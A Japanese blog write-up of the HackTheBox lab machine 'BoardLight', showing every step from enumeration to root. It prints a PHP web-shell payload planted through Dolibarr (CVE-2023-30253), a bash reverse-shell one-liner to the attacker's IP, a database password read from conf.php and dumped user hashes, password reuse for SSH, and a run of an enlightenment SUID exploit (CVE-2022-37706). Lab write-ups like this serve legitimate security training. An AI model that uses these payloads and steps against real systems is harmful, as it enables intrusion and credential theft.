今回は、HackTheBoxのEasyマシン「BoardLight」のWriteUpです!
評価は高く、グラフもかなり簡単そうな感じですね。
サクッと攻略目指して頑張ります!
HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
BoardLight
列挙
それでは攻略を開始していきましょう!
まずはポートスキャンから実行していきます。
+[~/boardlight]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -v -n -sSVC -p- --min-rate=1000 10.10.11.11
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
| 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesnt have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
80番がオープンしています。ブラウザでアクセスしてみましょう。
サイバーセキュリティコンサル会社のホームページのようなサイトが表示されました。
サイトの中部を見てみると、「WordPress」が使用されていることがわかります。
wp-scan
を実行してみましたが...
+[~/boardlight]
(σ▰>∇<)σ<10.10.14.8>$ wpscan --url http://10.10.11.11 --enumerate
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | _ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.25
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
Scan Aborted: The remote website is up, but does not seem to be running WordPress.
「WordPress」は動作していないといわれてしまいました。
その他、いろいろと列挙しましたが気になる遷移やディレクトリもなかったので、サブドメインを列挙することにしました。ちなみに今回のターゲットのドメインはサイトの一番下に書かれています。
では、ffuf
を実行し、サブドメインを列挙しましょう。
+[~/boardlight]
(σ▰>∇<)σ<10.10.14.8>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://board.htb -H "HOST: FUZZ.board.htb" -fs 15949
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://board.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.board.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 15949
________________________________________________
crm [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 176ms]
crm
というサブドメインを発見しました。hosts
ファイルに追記し、ブラウザでアクセスしてみましょう。
ログイン画面が表示されました
CVE-2023-30253
ログイン画面を見てみると、「Dolibarr 17.0.0」のようにバージョンが書かれています。脆弱性がないか検索すると以下の記事を発見しました。
どうやら「Dolibarr 17.0.0」には認証済みのRCEが存在するようです。ただ認証に成功している必要があるので、認証情報に対する情報がないかを調べてみると、以下の記事も発見しました。
記事によると「admin / admin」や「admin / changeme」などがデフォルトの認証情報として使用されているようです。実際にログインできないか試してみましょう。
「admin / admin」でログインに成功しました!
これで認証済みになったので、CVE-2023-30253を悪用できそうです。
CVE-2023-30253のPoCを調べてみましたが、マシンのリリース前に公開されたようなコードは見つかりません。なので、手動で実行することにしました。参考にしたのは以下の記事です。
記事によるとRCEが発火する原因は、<?PHP
をPHPタグとして認識してしまうことにあるみたいです。「Dolibarr」は、WEBサイトを作成することができるので、おそらくそのソースコード内に<?PHP
を使用したWEBシェルが作成できそうです。試してみましょう。
まずは、WEBサイトを作成します。
今回は0xsh
という名前を付けました。
「CREATE」を押下し、サイトの作成ができたらページを作成します。
この段階では、まだソースコードはいじれないので「Title」と「Page name/alias」に適当にtest
と入力し、「CREATE」を押下します。
ページまで作成できたら、いよいよソースコードを編集していきます。ページ部分にある「Edit HTML Source」を押下しましょう。
ソースコード編集画面が表示されるので、<?PHP system($_GET['cmd']); ?>
といういつものコードを追記し、「SAVE」を押下します。
www-data としてのシェル
ソースコードの保存ができたら実際にアクセスしていきましょう。ページ部分の一番右に双眼鏡?のようなアイコンがあると思います。そちらをクリックしてみましょう。
実際に作成したページへアクセスできました。現状では何も書いていないので何も表示されません。
では、&cmd=id
を追加し、再度アクセスしてみましょう。
id
コマンドの実行結果が出力されました!
あとは、シェルを取得するだけです。まず待ち受けを作成します。
+[~/boardlight]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
あとはいつものペイロードbash -c 'bash -i >& /dev/tcp/10.10.14.8/2121 0>&1'
を&cmd=
の後に指定し、実行しましょう。
+[~/boardlight]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.11] 47900
bash: cannot set terminal process group (856): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ whoami
whoami
www-data
シェルの取得に成功しました!
横移動
それでは、続いて横移動を目指していきましょう。
/home
ディレクトリを確認して、どのようなユーザがいるかを確認しておきます。
www-data@boardlight:/home$ ls -l
total 4
drwxr-x--- 15 larissa larissa 4096 May 17 01:04 larissa
larissa
ユーザが存在しています。とりあえずこのユーザになることが目標ですね。
では、どのような列挙を行うかですが、WEBから侵入したのでWEBルートを確認します。
www-data@boardlight:~/html/crm.board.htb$ ls -l
total 612
-rw-r--r-- 1 www-data www-data 35151 Mar 4 2023 COPYING
-rw-r--r-- 1 www-data www-data 6929 Mar 4 2023 COPYRIGHT
-rw-r--r-- 1 www-data www-data 508715 Mar 4 2023 ChangeLog
-rw-r--r-- 1 www-data www-data 1366 Mar 4 2023 DCO
-rw-r--r-- 1 www-data www-data 8016 Mar 4 2023 README-FR.md
-rw-r--r-- 1 www-data www-data 10282 Mar 4 2023 README.md
-rw-r--r-- 1 www-data www-data 6605 Mar 4 2023 SECURITY.md
-rw-r--r-- 1 www-data www-data 1911 Mar 4 2023 composer.json.disabled
drwxr-xr-x 11 www-data www-data 4096 May 13 13:23 documents
drwxr-xr-x 79 www-data www-data 4096 Mar 4 2023 htdocs
-rw-r--r-- 1 www-data www-data 741 Mar 4 2023 nightwatch.conf.js
-rw-r--r-- 1 www-data www-data 11965 Mar 4 2023 phpstan.neon
-rw-r--r-- 1 www-data www-data 95 Mar 4 2023 robots.txt
drwxr-xr-x 16 www-data www-data 4096 Mar 4 2023 scripts
結構な量のファイルとフォルダがありそうです。WEBルート配下で一番気になるものは設定ファイルなので、設定ファイルが存在しそうなフォルダを掘っていくことにしました。
MySQL Password
なんとなく怪しいものから探っていると、./htdocs/conf
配下で設定ファイルらしきファイルを発見しました。
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ ls -l
total 44
-rw-r--r-- 1 www-data www-data 1736 May 17 00:18 conf.php
-rw-r--r-- 1 www-data www-data 16394 Mar 4 2023 conf.php.example
-r-------- 1 www-data www-data 16394 May 13 13:20 conf.php.old
conf.php
を見てみましょう。
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat conf.php
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
...
MySQLへのログイン情報を取得できました!
それでは、取得した認証情報で、DBへアクセスしてみましょう。
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ mysql -u dolibarrowner -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 318
Server version: 8.0.36-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2024, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
ログインに成功しました。データベースを確認しましょう。
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| dolibarr |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)
dolibarr
というデータベースが存在しています。こちらを指定し、テーブルを列挙しましょう。
mysql> use dolibarr
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-------------------------------------------------------------+
| Tables_in_dolibarr |
+-------------------------------------------------------------+
| llx_accounting_account |
| llx_accounting_bookkeeping |
| llx_accounting_bookkeeping_tmp |
| llx_accounting_fiscalyear |
| llx_accounting_groups_account |
| llx_accounting_journal |
...
| llx_takepos_floor_tables |
| llx_tva |
| llx_user |
| llx_user_alert |
| llx_user_clicktodial |
| llx_user_employment |
...
307 rows in set (0.00 sec)
多くのテーブルが出力されました。最も気になるのはllx_user
というテーブルです。
ユーザの認証情報が保存されていそうなので、select
文を実行しましょう。
mysql> select * from llx_user;
+-------+--------+--------------+---------+-------+----------+------------------+---------------------+---------------------+---------------+---------------+----------+---------------+------+--------------------------------------------------------------+-----------+--------------+--------+----------+------------+-----------+---------+------+------+----------+------------+-------+-------------+------+--------------+------------+-------------+-----------------+-------+----------------+-----------+----------------+--------+--------------+-----------+---------+---------------------------+---------------------------+---------+---------+---------+-------------+--------------+-----------+---------------------+---------------------+------------------------+-------------------+-----------------+-------------+-----------------+---------------+----------+--------+--------+-------+------+-------+---------+-----------------+------------------+------------+------+------+--------+-------------+----------------+-------------------+-------------+------------+---------------+-----------------------+------------------------------+--------------+
| rowid | entity | ref_employee | ref_ext | admin | employee | fk_establishment | datec | tms | fk_user_creat | fk_user_modif | login | pass_encoding | pass | pass_crypted | pass_temp | api_key | gender | civility | lastname | firstname | address | zip | town | fk_state | fk_country | birth | birth_place | job | office_phone | office_fax | user_mobile | personal_mobile | email | personal_email | signature | socialnetworks | fk_soc | fk_socpeople | fk_member | fk_user | fk_user_expense_validator | fk_user_holiday_validator | idpers1 | idpers2 | idpers3 | note_public | note_private | model_pdf | datelastlogin | datepreviouslogin | datelastpassvalidation | datestartvalidity | dateendvalidity | iplastlogin | ippreviouslogin | egroupware_id | ldap_sid | openid | statut | photo | lang | color | barcode | fk_barcode_type | accountancy_code | nb_holiday | thm | tjm | salary | salaryextra | dateemployment | dateemploymentend | weeklyhours | import_key | default_range | default_c_exp_tax_cat | national_registration_number | fk_warehouse |
+-------+--------+--------------+---------+-------+----------+------------------+---------------------+---------------------+---------------+---------------+----------+---------------+------+--------------------------------------------------------------+-----------+--------------+--------+----------+------------+-----------+---------+------+------+----------+------------+-------+-------------+------+--------------+------------+-------------+-----------------+-------+----------------+-----------+----------------+--------+--------------+-----------+---------+---------------------------+---------------------------+---------+---------+---------+-------------+--------------+-----------+---------------------+---------------------+------------------------+-------------------+-----------------+-------------+-----------------+---------------+----------+--------+--------+-------+------+-------+---------+-----------------+------------------+------------+------+------+--------+-------------+----------------+-------------------+-------------+------------+---------------+-----------------------+------------------------------+--------------+
| 1 | 0 | | NULL | 1 | 1 | 0 | 2024-05-13 13:21:56 | 2024-05-13 13:21:56 | NULL | NULL | dolibarr | NULL | NULL | $2y$10$VevoimSke5Cd1/nX1Ql9Su6RstkTRe7UX1Or.cm8bZo56NjCMJzCm | NULL | NULL | | | SuperAdmin | | | | | NULL | NULL | NULL | NULL | | | | | | | | | null | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | | | NULL | 2024-05-15 09:57:04 | 2024-05-13 23:23:59 | NULL | NULL | NULL | 10.10.14.31 | 10.10.14.41 | NULL | | NULL | 1 | NULL | NULL | | NULL | 0 | | 0 | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | | NULL |
| 2 | 1 | | NULL | 0 | 1 | 0 | 2024-05-13 13:24:01 | 2024-05-15 09:58:40 | NULL | NULL | admin | NULL | NULL | $2y$10$gIEKOl7VZnr5KLbBDzGbL.YuJxwz5Sdl5ji3SEuiUSlULgAhhjH96 | NULL | yr6V3pXd9QEI | NULL | | admin | | | | | NULL | NULL | NULL | NULL | | | | | | | | | [] | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | | | NULL | 2024-05-31 06:12:11 | 2024-05-17 00:19:27 | NULL | NULL | NULL | 10.10.14.8 | 10.10.14.41 | NULL | | NULL | 1 | NULL | NULL | | NULL | 0 | | 0 | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | | NULL |
+-------+--------+--------------+---------+-------+----------+------------------+---------------------+---------------------+---------------+---------------+----------+---------------+------+--------------------------------------------------------------+-----------+--------------+--------+----------+------------+-----------+---------+------+------+----------+------------+-------+-------------+------+--------------+------------+-------------+-----------------+-------+----------------+-----------+----------------+--------+--------------+-----------+---------+---------------------------+---------------------------+---------+---------+---------+-------------+--------------+-----------+---------------------+---------------------+------------------------+-------------------+-----------------+-------------+-----------------+---------------+----------+--------+--------+-------+------+-------+---------+-----------------+------------------+------------+------+------+--------+-------------+----------------+-------------------+-------------+------------+---------------+-----------------------+------------------------------+--------------+
dolibarr
ユーザのハッシュを取得することができました。
解読できないか試してみましたが、解読することはできませんでした。
lariss としてのシェル
ハッシュが解読できないことにより、MySQLからは何も情報を得ることはできませんでした。MySQLのパスワードを使用して行えるアプローチは、パスワードが使いまわされていることを想定し、larissa
ユーザでアクセスしてみることです。
ダメ元で試してみます。
+[~/boardlight]
(σ▰>∇<)σ<10.10.14.8>$ ssh larissa@10.10.11.11
larissa@10.10.11.11s password:
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
larissa@boardlight:~$ whoami
larissa
!!ログインできました!
larissa@boardlight:~$ ls -l
total 36
drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Desktop
drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Documents
drwxr-xr-x 3 larissa larissa 4096 May 17 01:04 Downloads
drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Music
drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Pictures
drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Public
drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Templates
-rw-r----- 1 root larissa 33 May 30 19:37 user.txt
drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Videos
ユーザフラグも取得できました!
権限昇格
それでは、ここから権限昇格を目指していきましょう。
まずは、sudo -l
から実行していきます。
larissa@boardlight:~$ sudo -l
[sudo] password for larissa:
Sorry, user larissa may not run sudo on localhost.
larissa
ユーザではsudo
は実行できないようです。
続いて、SUIDも調査してみます。
larissa@boardlight:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper
いくつか見慣れないバイナリを発見しました。
CVE-2022-37706
enlightenment
に関するバイナリにSUIDが付与されているようです。権限昇格につながる脆弱性がないかを調べてみると、以下の記事を発見しました。
まさに求めていた情報でした。
SUIDが付与されたenlightenment
は権限昇格が可能なようです。
GitHub上にはエクスプロイトコードが提供されています。実行するためにコードをターゲット側へ送信します。
+[~/boardlight/CVE-2022-37706-LPE-exploit]
(σ▰>∇<)σ<10.10.14.8>$ scp ./exploit.sh larissa@10.10.11.11:/tmp/exploit.sh
larissa@10.10.11.11's password:
exploit.sh
コードの送信が成功しました。
root としてのシェル
それでは、実行していきますが、実行権限を忘れずに付与しておきます。
larissa@boardlight:/tmp$ chmod +x exploit.sh
これで準備完了です!コードを実行し権限を昇格させましょう。
larissa@boardlight:/tmp$ ./exploit.sh
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: cant find in /etc/fstab.
# whoami
root
ルートへの昇格に成功しました!
# ls -l
total 8
-rw-r----- 1 root root 33 May 30 19:37 root.txt
drwxr-xr-x 3 root root 4096 Sep 17 2023 snap
ルートフラグも取得し、完全攻略達成です!